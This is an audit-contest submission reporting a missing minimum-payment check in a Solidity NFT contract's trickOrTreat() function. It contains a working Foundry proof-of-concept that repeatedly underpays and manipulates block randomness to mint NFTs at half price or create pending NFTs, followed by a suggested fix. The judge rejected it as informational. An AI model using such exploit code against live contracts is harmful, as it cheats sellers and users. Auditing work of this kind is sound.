Trick or Treat

First Flight #27
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: low
Invalid

Underpayment Exploit in SpookySwap::trickOrTreat() Due to Missing Minimum Payment Check

Summary

The SpookySwap contract's trickOrTreat() lacks a minimum payment check for the treat.cost , enabling users to exploit the contract by sending insufficient funds.
This vulnerability will lead to unfair minting of NFTs at half price and the creation of numerous pending NFTs without adequate payment, potentially resulting in denial-of-service (DoS) conditions due to storage bloat and token ID exhaustion.

Vulnerability Details

The trickOrTreat() function never checks if msg.value is enough to cover the base treat cost. The check is only done to see if msg.value is enough depending on wether the user got a trick, a treat, or a regular scenario.

if (costMultiplierNumerator == 2 && costMultiplierDenominator == 1) {
// Double price case (trick)
@> if (msg.value >= requiredCost) { //@audit Check if >= 2x cost
// User sent enough ETH
mintTreat(msg.sender, treat);
} else {
// User didn't send enough ETH
// Mint NFT to contract and store pending purchase
uint256 tokenId = nextTokenId;
_mint(address(this), tokenId);
_setTokenURI(tokenId, treat.metadataURI);
nextTokenId += 1;
pendingNFTs[tokenId] = msg.sender;
pendingNFTsAmountPaid[tokenId] = msg.value;
tokenIdToTreatName[tokenId] = _treatName;
emit Swapped(msg.sender, _treatName, tokenId);
// User needs to call fellForTrick() to finish the transaction
}
} else {
// Normal price or half price
@> require(msg.value >= requiredCost, "Insufficient ETH sent for treat");
//^@audit Check if >= 0.5x cost when "treat"
mintTreat(msg.sender, treat);
}

In the regular scenario when the treat is 1x cost, there is no issue since we are checking if enough fundws have been sent.
Problems arise when the user gets either a "trick" or "treat" (both scenarios have a 1/1000 probability).
This gives 2 different attacks scenarios:

  1. Sending Exactly Half the Treat Cost:

    • If the random chance results in the "treat" scenario (half price), the user receives the NFT at half price.

    • If it results in the "trick" scenario (double price), the contract mints an NFT to itself and creates a pending purchase, even though the user only paid half the treat cost.

  2. Sending Minimal ETH (Even 1 Wei):

    • Whenever the "trick" scenario occurs, the contract mints an NFT to itself and creates a pending purchase, consuming storage and incrementing nextTokenId.

Proof of Concept:
Run the command forge test --mt testHalfPriceNFT -vv the following test and its setup function:

// SPDX-License-Identifier: MIT
pragma solidity =0.8.25;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "../src/TrickOrTreat.sol";
contract TrickOrTreatTest is Test {
SpookySwap public spookyswap;
address public owner;
address public user1;
address public user2;
function setUp() public {
owner = makeAddr("owner");
user1 = address(0x1);
user2 = address(0x2);
SpookySwap.Treat[] memory treats = new SpookySwap.Treat[]();
// Initialize treats array directly with structs
treats[0] = SpookySwap.Treat({name: "Candy", cost: 0.05 ether, metadataURI: "metadataURI_1"});
treats[1] = SpookySwap.Treat({name: "Chocolate", cost: 0.1 ether, metadataURI: "metadataURI_2"});
// Give owner some ETH and impersonate them for deployment
vm.deal(owner, 1 ether); // fund the owner with some ether
vm.startPrank(owner); // impersonate the owner for the next actions
// Deploy SpookySwap with treats array
spookyswap = new SpookySwap(treats);
vm.stopPrank();
}
function testHalfPriceNFT() public {
vm.deal(user1, 1 ether); // Fund user1 with sufficient ETH
uint256 treatCost = 0.05 ether;
uint256 payment = treatCost / 2; // Half the price
console2.log("Initial user balance:", address(user1).balance);
uint256 nftsObtained = 0;
uint256 pendingNFTsObtained = 0;
uint256 totalSpent = 0;
uint256 attempts = 0;
uint256 maxAttempts = 10000;
while (attempts < maxAttempts) {
attempts++;
// Manipulate block variables to change the pseudo-randomness
vm.roll(block.number + 1); // Increment block number
vm.warp(block.timestamp + 1); // Increment timestamp
// Change prevrandao by converting to uint256, adding 1, then back to bytes32
bytes32 newPrevrandao = bytes32(uint256(block.prevrandao) + 1);
vm.prevrandao(newPrevrandao); // Change prevrandao
// Use vm.prank to make the call from user1
vm.prank(user1);
// Attempt to purchase with half the treat cost
(bool success,) =
address(spookyswap).call{value: payment}(abi.encodeWithSignature("trickOrTreat(string)", "Candy"));
if (success) {
totalSpent += payment;
uint256 userNFTBalance = spookyswap.balanceOf(user1);
if (userNFTBalance > nftsObtained) {
// User
nftsObtained++;
} else {
// Pending NFT is created at half-price
pendingNFTsObtained++;
}
}
}
console2.log("Next Token ID:", spookyswap.nextTokenId());
console2.log("Total pending NFT's at half-price:", pendingNFTsObtained);
console2.log("Total NFTs obtained:", nftsObtained);
console2.log("Total attempts made:", attempts);
console2.log("Total ETH spent:", totalSpent);
console2.log("Final user balance:", address(user1).balance);
// Assertions
assertEq(spookyswap.balanceOf(user1), nftsObtained, "Incorrect number of NFTs obtained");
//Check how many pending NFTs there are under the user's address in the mapping
uint256 actualPendingNFTs = 0;
uint256 totalTokenIds = spookyswap.nextTokenId() - 1;
for (uint256 tokenId = 1; tokenId <= totalTokenIds; tokenId++) {
address pendingOwner = spookyswap.pendingNFTs(tokenId);
if (pendingOwner == user1) {
actualPendingNFTs++;
}
}
assertEq(actualPendingNFTs, pendingNFTsObtained, "Mismatch in pending NFTs count for user1");
}
}

Which yields the output:

Ran 1 test for test/TestTrickOrTreat.t.sol:TrickOrTreatTest
[PASS] testHalfPriceNFT() (gas: 185618771)
Logs:Initial user balance: 1000000000000000000
Next Token ID: 18
Total pending NFT's at half-price: 10
Total NFTs obtained: 7
Total attempts made: 10000
Total ETH spent: 425000000000000000
Final user balance: 575000000000000000

The above test demonstrates how by continuously calling the trickOrTreat() function with exactly half the value of a treat, a user may mint nft's at half-price or mint pending NFT's.

By only sending 1 wei, the user may mint pending NFT's each time he gets "tricked" (1/1000 chance).

Impact

  • Unfair Advantage: Attackers can obtain NFTs at a reduced cost, undermining the contract's economic model and fairness to other users.

  • Denial-of-Service (DoS): Attackers can cause storage bloat by creating numerous pending NFTs with minimal payment, potentially making the contract unusable due to gas limits.

  • Token ID Exhaustion: Attackers can consume all available token IDs, preventing legitimate users from obtaining NFTs.

  • Financial Loss: The contract owner may incur additional costs due to increased storage usage and potential depletion of NFTs meant for legitimate sales.

Tools Used

Foudry, VS Code

Recommendations

Check that the payment when calling the function is at least worth the treat.cost

function trickOrTreat(string memory _treatName) public payable nonReentrant {
Treat memory treat = treatList[_treatName];
require(treat.cost > 0, "Treat cost not set.");
+ require(msg.value >= treat.cost, "Insuffucient funds sent.");
...
}
Updates

Appeal created

bube Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

[invalid] Unlimited pending NFTs

The protocol can work correctly with more than 20000 tokens in it. It is informational.

chrissavov Submitter
10 months ago
chrissavov Submitter
10 months ago
bube Lead Judge
10 months ago
bube Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

[invalid] Unlimited pending NFTs

The protocol can work correctly with more than 20000 tokens in it. It is informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.